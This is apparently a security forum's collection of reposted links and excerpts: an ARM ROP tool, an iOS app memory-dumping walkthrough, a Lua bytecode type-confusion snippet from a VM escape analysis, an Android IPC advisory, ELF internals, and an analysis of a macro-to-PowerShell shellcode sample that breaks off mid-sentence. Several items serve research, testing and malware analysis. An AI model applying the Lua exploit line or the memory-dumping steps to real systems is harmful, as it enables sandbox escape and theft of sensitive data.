Nytro

ARM Roper Tool for searching the rop gadgets for ARM. Basically, refactorisation of the MyROP project, with further plans for features like converting to python string, blah blah. Installation For deps just run: sudo pip install -r requirements.txt Also you will need a capstone libs installed. After that you can try roper with: ./armroper.py -h Usage spx@galactica ~/c/armroper> ./armroper.py -h usage: armroper.py [-h] [-f FILENAME] [-d DEPTH] [-m] optional arguments: -h, --help show this help message and exit -f FILENAME, --filename FILENAME -d DEPTH, --depth DEPTH -m, --mode Contributing Fork it! Create your feature branch: git checkout -b my-new-feature Commit your changes: git commit -am 'Add some feature' Push to the branch: git push origin my-new-feature Submit a pull request Credits All the credits goes to the https://github.com/hitmoon/MyRop, and Jonathan Salwan from the shell-storm.org License Check the LICENCE file. Sursa: https://github.com/0xspx/armroper

Prolific Hacker Unmasks Himself ByPYMNTS Posted on March 14, 2016 According to reports by The Next Web, a leader of one of the world’s most notorious hacking teams has elected to unmask himself. The hacking team in question is GhostShell, a collective that, in recent history, has gone after the FBI, NASA and the Pentagon. And that’s just in the U.S. It has also made server attacks on Russian intelligence. That was 2012. Then, nothing for three years, just quiet, until 2015, when they came back, packing some punch. “This time, a much darker, seedier version emerged, hell-bent on destroying anything in its path and leaking information through its ‘dark hacktivism’ campaign for seemingly no other reason than to prove it could,” according to TNW. And then, using a generic email account, someone identifying himself as “White Fox” approached TNW — the name being important because it was also the moniker of a 2012 hacking operation pulled off by GhostShell. As it turns out, the hacker, who identifies himself as G. Razvan Eugen, has started an email list for journalists so that he can tell his story. The text of that letter is copied below. So, is Eugen for real? As verification, he provided a login to the Twitter account that GhostShell uses to disseminate information. He also offered photos, email accounts and even the private Twitter account he had been using to communicate for several years. All in, most tech journalists believe that while there are not locks in this business, this is as close as one could hope for. So, why come clean? According to correspondence between Eugen and TNW: “I just want to own up to my actions, face them head on and hope for the best. What I really want is to continue being part of this industry. Cybersecurity is something that I enjoy to the fullest, even with all the drama that it brings and legal troubles.” “In return, I hope other hackers and hacktivists take inspiration from this example and try to better themselves. Just because you’ve explored parts of the Internet and protested about things that were important to you, doesn’t mean you should be afraid and constantly paranoid of the people around you.” Sursa: http://www.pymnts.com/news/security-and-risk/2016/prolific-hacker-unmasks-himself/

Date Sun, 13 Mar 2016 21:53:34 -0700 Subject Linux 4.5 From Linus Torvalds <> share 0 share 37 So this is later on a Sunday than my usual schedule, because I just couldn't make up my mind whether I should do another rc8 or not, and kept just waffling about it. In the end, I obviously decided not to, but it could have gone either way. We did have one nasty regression that got fixed yesterday, and the networking pull early in the week was larger than I would have wished for. But the block layer should be all good now, and David went through all his networking commits an extra time just to make me feel comfy about it, so in the end I didn't see any point to making the release cycle any longer than usual. And on the whole, everything here is pretty small. The diffstat looks a bit larger for an xfs fix, because that fix has three cleanup refactoring patches that precedes it. And there's a access type pattern fix in the sound layer that generated lots of noise, but is all very simple in the end. In addition to the above, there's random small fixes all over - shortlog appended for people who want to skim the details as usual. Go test, and obviously with 4.5 released, I'll start the merge window for 4.6. Linus Sursa: https://lkml.org/lkml/2016/3/14/50

Dumping Memory on iOS 8 Steve Kerns | March 14, 2016 Back in January of 2015 NetSPI published a blog on extracting memory from an iOS device. Even though NetSPI provided a script to make it easy, it required iOS 7 (or less) and GDB; but GDB is currently no longer on iOS 8. Fortunately, there are other options to GDB and extracting memory from an Apple iPhone running iOS 8+ could not be easier. It requires the following a couple of pieces of software. LLDB (http://lldb.llvm.org/) Debugserver (part of Xcode) Tcprelay.py (https://code.google.com/p/iphonetunnel-mac/source/browse/trunk/gui/tcprelay.py?r=5) Of course you will need a jailbroken iPhone or iPad. I will not cover that part of the operation here. Start tcprelay so you can connect to the device over a USB connection: $ ./tcprelay.py -t 22:2222 1234:1234 Forwarding local port 2222 to remote port 22 Forwarding local port 1234 to remote port 1234 Incoming connection to 2222 Waiting for devices... Connecting to device <MuxDevice: ID 17 ProdID 0x12a8 Serial '0ea150b00ba3deeacb42f399492b7990416a0c87' Location 0x14120000> Connection established, relaying data Incoming connection to 1234 Waiting for devices... Connecting to device <MuxDevice: ID 17 ProdID 0x12a8 Serial '0ea150b00ba3deeacb42f399492b7990416a0c87' Location 0x14120000> Connection established, relaying data The command “tcprelay.py -t 22:2222 1234:1234” is redirecting two local ports to the device. The first one is used to SSH to the device over port 2222. The second one is the port the debugserver will be using. Then you will need to connect to the iOS device and start the debug server (I am assuming you have already copied the software to the device). If not, you can use scp to copy the binary.) $ ssh root@127.0.0.1 -p 2222 root@127.0.0.1's password: Then, if the application is already running, verify its name using ‘ps aux | grep <appname>’ and connect to the application with debugserver (using the name of the application not the PID): root# ./debugserver *:1234 -a appname debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-320.2.89 for arm64. Attaching to process appname... Listening to port 1234 for a connection from *... Waiting for debugger instructions for process 0. The command ‘./debugserver *:1234 -a appname’ is telling the software to startup on port 1234 and hook into the application named ‘appname’. It will take a little time, so be patient. On the MAC, startup LLDB and connect to the debugserver software running on the iOS device. Remember, we have relayed the device port 1234 that the debugserver is listening on to the local port 1234. $ lldb (lldb) process connect connect://127.0.0.1:1234 Process 2017 stopped * thread #1: tid = 0x517f9, 0x380f54f0 libsystem_kernel.dylibmach_msg_trap + 20, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x380f54f0 libsystem_kernel.dylibmach_msg_trap + 20 libsystem_kernel.dylibmach_msg_trap: -> 0x380f54f0 <+20>: pop {r4, r5, r6, r8} 0x380f54f4 <+24>: bx lr libsystem_kernel.dylibmach_msg_overwrite_trap: 0x380f54f8 <+0>: mov r12, sp 0x380f54fc <+4>: push {r4, r5, r6, r8} Now you can dump the information about the memory sections of the application. (lldb) image dump sections appname Sections for '/private/var/mobile/Containers/Bundle/Application/F3CFF345-71FC-47C4-B1FB-3DAC523C7627/appname.app/appname(0x0000000000047000)' (armv7): SectID Type Load Address File Off. File Size Flags Section Name ---------- ---------------- --------------------------------------- ---------- ---------- ---------- ---------------------------- 0x00000100 container [0x0000000000000000-0x0000000000004000)* 0x00000000 0x00000000 0x00000000 appname.__PAGEZERO 0x00000200 container [0x0000000000047000-0x00000000001af000) 0x00000000 0x00168000 0x00000000 appname.__TEXT 0x00000001 code [0x000000000004e6e8-0x000000000016d794) 0x000076e8 0x0011f0ac 0x80000400 appname.__TEXT.__text 0x00000002 code [0x000000000016d794-0x000000000016e5e0) 0x00126794 0x00000e4c 0x80000400 appname.__TEXT.__stub_helper 0x00000003 data-cstr [0x000000000016e5e0-0x0000000000189067) 0x001275e0 0x0001aa87 0x00000002 appname.__TEXT.__cstring 0x00000004 data-cstr [0x0000000000189067-0x00000000001a5017) 0x00142067 0x0001bfb0 0x00000002 appname.__TEXT.__objc_methname 0x00000005 data-cstr [0x00000000001a5017-0x00000000001a767a) 0x0015e017 0x00002663 0x00000002 appname.__TEXT.__objc_classname 0x00000006 data-cstr [0x00000000001a767a-0x00000000001abe0c) 0x0016067a 0x00004792 0x00000002 appname.__TEXT.__objc_methtype 0x00000007 regular [0x00000000001abe10-0x00000000001ac1b8) 0x00164e10 0x000003a8 0x00000000 appname.__TEXT.__const 0x00000008 regular [0x00000000001ac1b8-0x00000000001aeb20) 0x001651b8 0x00002968 0x00000000 appname.__TEXT.__gcc_except_tab 0x00000009 regular [0x00000000001aeb20-0x00000000001aeb46) 0x00167b20 0x00000026 0x00000000 appname.__TEXT.__ustring 0x0000000a code [0x00000000001aeb48-0x00000000001af000) 0x00167b48 0x000004b8 0x80000408 appname.__TEXT.__symbolstub1 0x00000300 container [0x00000000001af000-0x00000000001ef000) 0x00168000 0x00040000 0x00000000 appname.__DATA 0x0000000b data-ptrs [0x00000000001af000-0x00000000001af4b8) 0x00168000 0x000004b8 0x00000007 appname.__DATA.__lazy_symbol 0x0000000c data-ptrs [0x00000000001af4b8-0x00000000001af810) 0x001684b8 0x00000358 0x00000006 appname.__DATA.__nl_symbol_ptr 0x0000000d regular [0x00000000001af810-0x00000000001b2918) 0x00168810 0x00003108 0x00000000 appname.__DATA.__const 0x0000000e objc-cfstrings [0x00000000001b2918-0x00000000001ba8d8) 0x0016b918 0x00007fc0 0x00000000 appname.__DATA.__cfstring 0x0000000f data-ptrs [0x00000000001ba8d8-0x00000000001baf1c) 0x001738d8 0x00000644 0x10000000 appname.__DATA.__objc_classlist 0x00000010 regular [0x00000000001baf1c-0x00000000001baf4c) 0x00173f1c 0x00000030 0x10000000 appname.__DATA.__objc_nlclslist 0x00000011 regular [0x00000000001baf4c-0x00000000001bafa0) 0x00173f4c 0x00000054 0x10000000 appname.__DATA.__objc_catlist 0x00000012 regular [0x00000000001bafa0-0x00000000001bafa4) 0x00173fa0 0x00000004 0x10000000 appname.__DATA.__objc_nlcatlist 0x00000013 regular [0x00000000001bafa4-0x00000000001bb078) 0x00173fa4 0x000000d4 0x00000000 appname.__DATA.__objc_protolist 0x00000014 regular [0x00000000001bb078-0x00000000001bb080) 0x00174078 0x00000008 0x00000000 appname.__DATA.__objc_imageinfo 0x00000015 data-ptrs [0x00000000001bb080-0x00000000001e0d40) 0x00174080 0x00025cc0 0x00000000 appname.__DATA.__objc_const 0x00000016 data-cstr-ptr [0x00000000001e0d40-0x00000000001e4420) 0x00199d40 0x000036e0 0x10000005 appname.__DATA.__objc_selrefs 0x00000017 regular [0x00000000001e4420-0x00000000001e442c) 0x0019d420 0x0000000c 0x00000000 appname.__DATA.__objc_protorefs 0x00000018 data-ptrs [0x00000000001e442c-0x00000000001e4ab8) 0x0019d42c 0x0000068c 0x10000000 appname.__DATA.__objc_classrefs 0x00000019 data-ptrs [0x00000000001e4ab8-0x00000000001e4e48) 0x0019dab8 0x00000390 0x10000000 appname.__DATA.__objc_superrefs 0x0000001a regular [0x00000000001e4e48-0x00000000001e6184) 0x0019de48 0x0000133c 0x00000000 appname.__DATA.__objc_ivar 0x0000001b data-ptrs [0x00000000001e6184-0x00000000001ea02c) 0x0019f184 0x00003ea8 0x00000000 appname.__DATA.__objc_data 0x0000001c data [0x00000000001ea030-0x00000000001ed978) 0x001a3030 0x00003948 0x00000000 appname.__DATA.__data 0x0000001d zero-fill [0x00000000001ed980-0x00000000001edce0) 0x00000000 0x00000000 0x00000001 appname.__DATA.__bss 0x0000001e zero-fill [0x00000000001edce0-0x00000000001edce8) 0x00000000 0x00000000 0x00000001 appname.__DATA.__common 0x00000400 container [0x00000000001ef000-0x0000000000207000) 0x001a8000 0x00015bf0 0x00000000 appname.__LINKEDIT The next step is to convert that output into LLDB commands to actually dump the data in those memory sections. You can probably skip the sections named zero-fill or code. For example, the take the following output: 0x00000003 data-cstr [0x000000000016e5e0-0x0000000000189067) 0x001275e0 0x0001aa87 0x00000002 appname.__TEXT.__cstring Into the LLDB command: Memory read --outfile ~/0x00000003data-cstr 0x000000000016e5e0 0x0000000000189067 –force This command is telling LLDB to dump the memory from address 0x000000000016e5e0 to 0x0000000000189067 and put it into the file 0x00000003data-cstr. (lldb) memory read --outfile ~/0x00000003data-cstr 0x000000000016e5e0 0x0000000000189067 –force You will (or should) not see any output from this command other that the file being created. Once you have all of the files, search them using your favorite search tool or even a text editor. Search for sensitive data (i.e. credit card number, passwords, etc. The files will contain information similar to the following: 0x0016e5e0: 3f 3d 26 2b 00 3a 2f 3d 2c 21 24 26 27 28 29 2a ?=&+.:/=,!$&'()* 0x0016e5f0: 2b 3b 5b 5d 40 23 3f 00 00 62 72 61 6e 64 4c 6f +;[]@#?..brandLo 0x0016e600: 67 6f 2e 70 6e 67 00 54 72 61 64 65 47 6f 74 68 go.png.TradeGoth 0x0016e610: 69 63 4c 54 2d 42 6f 6c 64 43 6f 6e 64 54 77 65 icLT-BoldCondTwe 0x0016e620: 6e 74 79 00 4c 6f 61 64 69 6e 67 2e 2e 2e 00 4c nty.Loading....L 0x0016e630: 6f 61 64 69 6e 67 00 76 31 32 40 3f 30 40 22 4e oading.v12@?0@"N 0x0016e640: 53 44 61 74 61 22 34 40 22 45 70 73 45 72 72 6f SData"4@"EpsErro 0x0016e650: 72 22 38 00 6c 6f 61 64 69 6e 67 50 61 67 65 54 r"8.loadingPageT 0x0016e660: 79 70 65 00 54 69 2c 4e 2c 56 5f 6c 6f 61 64 69 ype.Ti,N,V_loadi 0x0016e670: 6e 67 50 61 67 65 54 79 70 65 00 6f 76 65 72 76 ngPageType.overv 0x0016e680: 69 65 77 52 65 71 52 65 73 48 61 6e 64 6c 65 72 iewReqResHandler 0x0016e690: 00 54 40 22 45 70 73 4f 76 65 72 76 69 65 77 52 .T@"EpsOverviewR 0x0016e6a0: 65 71 52 65 73 48 61 6e 64 6c 65 72 22 2c 26 2c eqResHandler",&, 0x0016e6b0: 4e 2c 56 5f 6f 76 65 72 76 69 65 77 52 65 71 52 N,V_overviewReqR 0x0016e6c0: 65 73 48 61 6e 64 6c 65 72 00 41 50 49 43 61 6c esHandler.APICal Have fun looking at the iOS application memory and use this process for only good intentions. As stated in the previously mentioned blog: This technique can be used to determine if the application is not removing sensitive information from memory once the instantiated classes are done with the data. All applications should de-allocate spaces in memory that deal with classes and methods that were used to handle sensitive information, otherwise you run the risk of the information sitting available in memory for an attacker to see. Sursa: https://blog.netspi.com/dumping-memory-on-ios-8/

Ctrl + F5 si tot la fel?

Care problema?

Subgraph OS: Adversary resistant computing platform. Subgraph believes that the best way to empower people to communicate and live freely is to develop technology that is secure, free, open-source, and verifiably trustworthy. Subgraph OS is an important part of that vision. The Internet is a hostile environment, and recent revelations have made it more apparent than ever before that risk to every day users extends beyond the need to secure the network transport - the endpoint is also at risk. Subgraph OS was designed from the ground-up to reduce the risks in endpoint systems so that individuals and organizations around the world can communicate, share, and collaborate without fear of surveillance or interference by sophisticated adversaries through network borne attacks. Subgraph OS is designed to be difficult to attack. This is accomplished through system hardening and a proactive, ongoing focus on security and attack resistance. Subgraph OS also places emphasis on the integrity of installable software packages. Link: https://subgraph.com/sgos/index.en.html

PowerMemory Exploit the credentials present in files and memory Link: https://github.com/giMini/PowerMemory

Binary code obfuscation through C++ template metaprogramming Samuel Neves and Filipe Araujo CISUC, Department of Informatics Engineering University of Coimbra, Portugal {sneves,filipius}@dei.uc.pt Abstract. Defending programs against illegitimate use and tampering has become both a field of study and a large industry. Code obfuscation is one of several strategies to stop, or slow down, malicious attackers from gaining knowledge about the internal workings of a program. Binary code obfuscation tools often come in two (sometimes overlapping) flavors. On the one hand there are “binary protectors”, tools outside of the development chain that translate a compiled binary into another, less intelligible one. On the other hand there are software development kits that require a significant effort from the developer to ensure the program is adequately obfuscated. In this paper, we present obfuscation methods that are easily integrated into the development chain of C++ programs, by using the compiler itself to perform the obfuscated code generation. This is accomplished by using advanced C++ techniques, such as operator overloading, template metaprogramming, expression templates, and more. We achieve obfuscated code featuring randomization, opaque predicates and data masking. We evaluate our obfuscating transformations in terms of potency, resilience, stealth, and cost. Download: https://eden.dei.uc.pt/~sneves/pubs/2012-snfa2.pdf

WinDBG Anti-RootKit Extension v1.5 released Posted on 15.02.2015 by SWW WDBGARK is an extension (dynamic library) for the Microsoft Debugging Tools for Windows. It main purpose is to view and analyze anomalies in Windows kernel using kernel debugger. It is possible to view various system callbacks, system tables, object types and so on. For more user-friendly view extension uses DML. For the most of the commands kernel-mode connection required. Feel free to use extension with live kernel-mode debugging or with kernel-mode crash dump analysis (some commands will not work). Public symbols required, so use them, force to reload them, ignore checksum problems, prepare them before analysis and you’ll be happy. Open source project hosted on GitHub, C++, nice Wiki – all of this made completely in my spare time just for fun. First public version is simple, but I have plans to continue development. WinDBG Anti-RootKit Extension https://github.com/swwwolf/wdbgark 21 forks. 1 open issues. Recent commits: Code style fixing;Code Integrity information output tabbed; workaround for unresolvedexternal;, swwwolf optimization, swwwolf replace Microsoft's specific types with C++ types, swwwolf use WDbgArkSymbolsBase, swwwolf use WDbgArkSymbolsBase, swwwolf Sursa: http://sww-it.ru/2015-02-15/1242#.VuXglsjs4Ig.twitter

Android: Stack Memory Corruption in BnBluetoothGattServer and BnBluetoothGatServerCallback IPC Android: Stack Memory Corruption in BnBluetoothGattServer and BnBluetoothGatServerCallback IPC Platform: Based on current master in AOSP Class: Elevation of Privilege This is in pre-release code and might not actually be vulnerable on a real device. While it’s probably only available in Brillo atm there are indications that it might become the default BT stack on later versions of Android so fixing it now would be good. I’ve not been able to test it directly but I have verified the code is vulnerable by building a copy for another device. Summary: The SEND_RESPONSE_TRANSACTION and SEND_NOTIFICATION_TRANSACTION IPC calls in BnBluetoothGattServer::onTransact are vulnerable to stack corruption which could allow an attacker to locally elevate privileges to the level of the bluetooth service. Description: The system/bt/service/common/bluetooth/binder/IBluetoothGattServer.cpp file which is part of a new Bluetooth stack for Brillo contains a binder service which has SEND_RESPONSE_TRANSACTION and SEND_NOTIFICATION_TRANSACTION calls. The handlers for these calls have a vulnerability where it’s possible to move the stack pointer out of bounds and get selective memory corruption on the stack. Note that BnBluetoothGattServerCallback also has similar code patterns in its ON_CHARACTERISTIC_WRITE_REQUEST_TRANSACTION and ON_DESCRIPTOR_WRITE_REQUEST_TRANSACTION calls. Link: https://code.google.com/p/google-security-research/issues/detail?id=712

Analysis of VM escape by using LUA script Author: virustracker Time: February 29, 2016 Category: default Author: boywhp@126.com From: http://drops.wooyun.org/tips/12677 0x00 LUA Data Breaches Lua provides a string.dump that is used to dump a lua function into a LUA bytecode. And the loadingstring function is able to load a bytecode into a LUA function. Through manipulating LUA raw bytecodes, the LUA interpreter will be made into a special state and bugs will rise. asnum = loadstring(string.dump(function(x) for i = x, x, 0 do return i end end):gsub("\96%z%z\128", "\22\0\0\128")) The length of LUA bytecode is fixed with 32 bits, i.e.4 bytes, defined as: It’s comprised of opcodes, R(A), R(B), R(C), R(Bx) and R(sBx) where A, B and C each represent an index of LUA registers. The asnum function can transform any LUA objects to numbers (note: under LUA5.1 64bitLinux). The gsub function uses bytecode \22\0\0\128 to replace \96%z%z\128, as shown below: 0071 60000080 [4] forprep 1 1 ; to [6] 0075 1E010001 [5] return 4 2 0079 5F40FF7F [6] forloop 1 -2 ; to [5] if loop Aftere executing the gsub function, the forprep instruction is replaced as JMP to [6] and the following shows the corresponding code for the foreprep instruction in LUA interpreter: case OP_FORPREP: { const TValue *init = ra; const TValue *plimit = ra+1; const TValue *pstep = ra+2; L->savedpc = pc; /* next steps may throw errors */ if (!tonumber(init, ra)) luaG_runerror(L, LUA_QL("for") " initial value must be a number"); else if (!tonumber(plimit, ra+1)) luaG_runerror(L, LUA_QL("for") " limit must be a number"); else if (!tonumber(pstep, ra+2)) luaG_runerror(L, LUA_QL("for") " step must be a number"); setnvalue(ra, luai_numsub(nvalue(ra), nvalue(pstep))); dojump(L, pc, GETARG_sBx(i)); continue; Under normal circumstances of LUA, the forprep instruction will check if the parameter is number-type and execute initialization. However, since bytecodes are replaced to JMP, the check for LUA types is skipped and execution directly enters into the forloop instruction. case OP_FORLOOP: { lua_Number step = nvalue(ra+2); lua_Number idx = luai_numadd(nvalue(ra), step); /* increment index */ lua_Number limit = nvalue(ra+1); if (luai_numlt(0, step) ? luai_numle(idx, limit) : luai_numle(limit, idx)) { dojump(L, pc, GETARG_sBx(i)); /* jump back */ setnvalue(ra, idx); /* update internal index... */ setnvalue(ra+3, idx); /* ...and external index */ } continue; } The forloop instruction will directly transform the loop parameters to Lua Number (double) and perform add operation (+0), and then execute dojump return; finally, it returns lua Number. LUA uses TValue to represent generic data objects using the following format: Value(64bit) tt(32bit) padd(32bit) n LUA_TNUMBER GCObject *gc; -> TString* LUA_TSTRING GCObject *gc; -> Closure* LUA_TFUNCTION Articol complet: http://en.wooyun.io/2016/02/29/44.html

ELF: dynamic struggles Mar 12, 2016 Intro Every ELF64 binary starts with this header: typedef struct elf64_hdr { unsigned char e_ident[EI_NIDENT]; Elf64_Half e_type; Elf64_Half e_machine; Elf64_Word e_version; Elf64_Addr e_entry; Elf64_Off e_phoff; Elf64_Off e_shoff; Elf64_Word e_flags; Elf64_Half e_ehsize; Elf64_Half e_phentsize; Elf64_Half e_phnum; Elf64_Half e_shentsize; Elf64_Half e_shnum; Elf64_Half e_shstrndx; } Elf64_Ehdr; We are only going to concern ourselves with dynamically linked Elf64_Ehdr.e_type =ET_EXEC (executable files) or ET_DYN (dynamic shared objects, basically shared libraries). Note: If you don’t know what dynamic linking means, I suggest to read this article. I will not mention ELF sections on purpose. They are not relevant in executables and shared libraries. They don’t have to be there and should be treated like a nice bonus when they actually are. See sstrip. This “technique” is used by malware fairly often and you don’t need sstrip to do the job. e_phoff specifies the start of a program header table (PHT) in the file. The PHT is made of Elf64_Phdr entries (segments): typedef struct elf64_phdr { Elf64_Word p_type; Elf64_Word p_flags; Elf64_Off p_offset; /* Segment file offset */ Elf64_Addr p_vaddr; /* Segment virtual address */ Elf64_Addr p_paddr; /* Segment physical address */ Elf64_Xword p_filesz; /* Segment size in file */ Elf64_Xword p_memsz; /* Segment size in memory */ Elf64_Xword p_align; /* Segment alignment, file & memory */ } Elf64_Phdr; p_type can have values such as PT_LOAD, PT_DYNAMIC, PT_INTERP etc. When loading an ELF binary, the linux kernel looks for PT_LOAD segments and maps them into memory (among other things). When doing so, it uses both p_offset(segment file offset) and p_vaddr (the address where to map the segment into memory). ELF segments can overlap in the file. Usually, there are 2 PT_LOADsegments - 1 for code (R-X) and 1 for data (RW-). There can also be just 1 or more than 2. Whenever a virtual address needs to be converted to a file offset, it can be done like this: for(int i = 0; i < ehdr->e_phnum; i++) { if(seg.p_type != PT_LOAD) continue; if(va >= seg.p_vaddr && va < seg.p_vaddr + seg.p_memsz) { offset = seg.p_offset + (va - seg.p_vaddr); } } When you dynamically link an ELF, PT_DYNAMIC can be found in the program header table of the resulting binary. It usually belongs to the second PT_LOAD segment, therefore it is loaded into memory. PT_INTERP specifies the dynamic interpreter and the kernel is very sensitive about it. PT_DYNAMIC is an array of dynamic entries: typedef struct { Elf64_Sxword d_tag; /* entry tag value */ union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un; } Elf64_Dyn; d_tag is the type of the dynamic entry. Dynamic entries contain vital information for the dynamic linker. Information such as symbol relocations to figure out what API are you trying to call (simplified) etc. Case: executable binaries Let’s compile a program and look at it with radare2 (always use the git version)! I am using radare on OS X: $ r2 -v radare2 0.10.2-git 10555 @ darwin-little-x86-64 git.0.10.1-99-g747699f commit: 747699f712d7cc0402b20c9313a16634e68d7764 build: 2016-03-11 #include <fcntl.h> #include <unistd.h> int main() { int fd = open("hello", O_CREAT | O_TRUNC | O_WRONLY); if(fd > 0) { write(fd, "world", 5); close(fd); } return 0; } I am using gcc (Debian 4.9.2-10) 4.9.2 ldd (Debian GLIBC 2.19-18+deb8u3) 2.19 onDebian 8.3 x64. Articol complet: https://michalmalik.github.io/elf-dynamic-segment-struggles

Linux Kernel Exploitation Earning Its Pwnie a Vuln at a Time Jon Oberheide CTO, Scio Security Slides: https://jon.oberheide.org/files/source10-linuxkernel-jonoberheide.pdf

Vezi drivere. Instaleaza ultimele versiuni, incearca sa faci update automat din windows (la drivere) si vezi daca ajuta.

Pentru cei tehnici: https://www.nccgroup.trust/globalassets/our-research/uk/technical-advisories/2016/windows-10-usb-arbitrary-code-execution-in-kernel-modepdf/

From Macro to SSL with Shellcode A Detailed Deconstruction petez on ‎03-09-2016 09:30 AM During the era of Windows 3.1 where “www” was just a repeated consonant and the internet was yet to enter the vernacular, Microsoft Office annoy-ware was already using macros within Office documents to cause mischief. It wasn’t until Mick Jagger’s “Start me up!” ushered in Windows95 (with Trumpet winsock for networking) that saw Office macros in the media with the Melissavirus. Back in those early days of Netscape, “co-operative multitasking,” and Doom II, the functionality of these macros was either parasitic or mass-mailing, but seldom did the complexity increase beyond the functionality offered by VBAScript. Why would they? The language was rich enough to write self-replicating code, send emails, and download files – more than enough to declare an undying love, as in the “I love you” virus. String obfuscation is cheap to perform but can quickly become far from trivial to detect generically. Much like the fashions of the late 1990’s, macro viruses fell out of vogue. Then in the last couple of years, macro viruses have returned. This article aims to deconstruct what is currently the new kid on the block. While not strictly necessary, I prefer to glance at one-off samples, such as incident responses, with a trusty hex-editor. This not only helps me familiarize myself with the file format, but it also presents an opportunity to spot hints on where to direct my attention next. The sample I chose to analyze clearly begins with the typical D0 CF 11 E0 magic, confirming this to indeed be an Office document file. Further strings below hint at this being a Microsoft Word file as opposed to an Excel spreadsheet or PowerPoint presentation. Figure 1 – Hex Workshop view of the sample Continuing to glance the hex dump, the presence of Auto-Open related strings hints that a macro and not some other form of exploit is the likely trigger mechanism. Figure 2 – Hex Workshop view showing Auto-Open related strings If the system does have macros enabled, this would not have been shown. When macros are not enabled (the default setting) the document employs a bit of social engineering. The warning and helpful instructions invite the recipient to enable macros, upon doing so invoking the malicious macro functionality. I do not however fall victim to this ruse. Figure 3 - Getting the user to enable macrosInstead I attempt to view the embedded macros using the Office Visual Basic editor. Clearly the macros are present but annoyingly have been password protected and so are not made visible.  Figure 4 Protected mode Although Office itself prevents the viewing of the Visual Basic macro without the password, this security feature is easily circumvented. Where are the macros? To extract the VBA macro for further study, I first tried some handy Python tools I have available. The comprises a handful of stand-alone, task-specific components designed to extract various information from an OLE container.  While the metadata and time information tools have their value, the oleid.py and olevba.py are the most useful for payload analysis. The olevba.py script not only allows for rapid triage and dumping of macro code but can also perform some basic analysis.  Another useful OLE tool used is oledump.py by Didier Stevens, which also has several options to show increasingly more detail. The stream hierarchy is a good overview, which makes the large macro at #8 and smaller one at #9 easy to spot for extraction. If Python is not your cup of tea, it may possible to manually extract the macro code with a hex editor – provided the OLE data is not compressed. However, care must be taken to ensure any artifacts get correctly handled. This is not recommended for the inexperienced.  Having extracted the macros into a separate file for convenience I can now clearly discern two main parts: an auto-open stub and the core functionality. Random names and various other obfuscations in macros is often indicative of maliciousness. Macro malware is often arranged this way thwart naïve macro analyzers relying on string matching. I can further break down the core functionality contained in function “tatata” into a few key logical blocks; declaration of variables, a shell call-out and some ‘glue’. The obvious long string of mostly base64 and a lightly obfuscated “POWERSHELL.EXE” are practically directing the analysis.  It is easy work to determine that the (randomly named) tatata function simply invokes powershell.exe and passes it the large string. The -enc flag is not used as a poor man’s obfuscator but actually for security circumvention for PowerShell. Peeling back the base64 layer is clearly the next step in deconstructing the sample, and I'm employing GNU's base64 on only the necessary part to reveal the PowerShell script. Macro gives rise to PowerShell As I glance the resulting script, three functional regions become apparent: setup, data, and glue. Of these, only the large blob of what is easily recognizable as hex data piques my interest. It is almost certainly going to be invoked as 32bit x86 code – hinted by the accompanying reference to win32 APIs. In addition, the ‘glue’ residing near the end does not appear to mangle the $z array, which means no additional transformation will be required.  PowerShell hexbytes condense to x86 Before being able to analyze this code, I need to massage the byte array from its textual form into an equivalent binary form conducive to disassembly. I achieve this thru nothing more than some fancy copy-paste (using the “interpret as hex” feature) into hex workshop to produce a 448 byte binary file I arbitrarily named sc.bin. Even for those familiar with x86 opcodes, the above hex-dump is unlikely to resemble valid code. This is mainly evident due to lack of 0x00's and common opcodes (a familiarity gained after many years). A quick peek with x86dis, an open-source x86 disassembler, reveals why:  The apparently absent call-pop, typically E8 00 00 00 00 58, is actually implemented using the FPU fnstenv instruction in conjunction with another preceding floating-point instruction (fcmovnb) then the ‘POP EDI’. Now I can establish EDI’s relative value after the fpu-call-pop. The fnstenv instruction saves the FPU state (including the EIP of the last FPU instruction) to some address, which here is ESP-0xC. The POP EDI then retrieves what is in effect the FPU states EIP member. This is how the shellcode locates itself in memory. After the POP, EDI will be the address of the first FPU instruction. I can now use this value to compute the target of the "XOR [EDI+0x18]" placing it a few (0x18 to be exact) bytes further.  I immediately realize that 0x18 is smack-bang in the middle of the shellcode I’m examining! More importantly, the XOR will modify the code as I see it. This reveals a classic snippet of self-modifying code. Navigating such self-modifying code in a disassembler is tedious, even for an experienced researcher and consequently, it's time to find a debugger or emulator. Of the abundant debuggers at hand, such as OllyDbg, WinDbg, IDA's own, gdb, etc., I found the x86emulator IDA plugin to be the most convenient for this particular task. Using a debugger would require too much faffing about with setup.  Now that I know what to expect, I carefully step thru just past the "XOR [EDI+0x18]" instruction as it patches the code just following. Revealed is a new backward “LOOP” that now forms a familiar decryptor.  Allowing the loop to run until completion reveals a second, similar decryptor at 0x2B, which I similarly overcame to finally reveal the inner workings of the shellcode. At this point I revert back to the analysis and annotation of the shellcode (made seamless by my choice to use the x86emul plugin). Figure 5 - IDA view of encoded shellcode being worked on by x86Emul plugin Swimming through the shellcode I continue the deconstruction at offset 0x37 as this is just after the second decryption loop. My analysis now follows execution-flow rather than linear address order, switching as may be required. I begin by observing a CALL which I determine must be to the body. I infer this by recognizing the alternate flow as a typical get-kernel32 and api-hash routine. Since I’m already expecting some form of API resolver, I ignore the code below the CALL and direct my attention to the target of the call, namely “body”.  As expected, the “POP EBP” at 0xBE confirms the “CALL body” does not return, serving only to get the address of the API-resolver into EBP. The next two immediate PUSHes collectively put the string 'ws2_32' on the stack (recalling that the stack grows down) while the “PUSH ESP” effectively puts the address of that string.  The final push of an unfamiliar 32bit value before “CALL EBP” must then be the hash of kernel32!LoadLibraryA by inference (‘ws2_32’ is the name of the windows networking library, and libraries are typically loaded by the LoadLibrary API). I confirm this assumption by later analyzing the code hashing code immediately following the “CALL body”.  The next part takes a leap of faith, or a decade of analysis experience. Knowing the following lets me speed ahead: A successful call of ‘WSAStartup’ returns zero in EAX The ‘socket’ API is required to transmit or receive network data A zero in the protocol argument of socket is acceptable (from MSDN: “…user does not wish to specify a protocol….”).  Working on the premise that the previous API was indeed ‘socket’, and noticing that this shellcode is thus far well-constructed, I’m left with two alternatives for the next API: either ‘connect’ to establish an outbound connection or 'bind' in preparation to accept an inbound connection. The choice is not a difficult one – following the execution flow in my minds-eye I observed no constructs resembling bind-listen-accept; so I chose ‘connect’. On that stride, what must be pushed is then the contents of the sockaddr_in structure, its size and subsequent 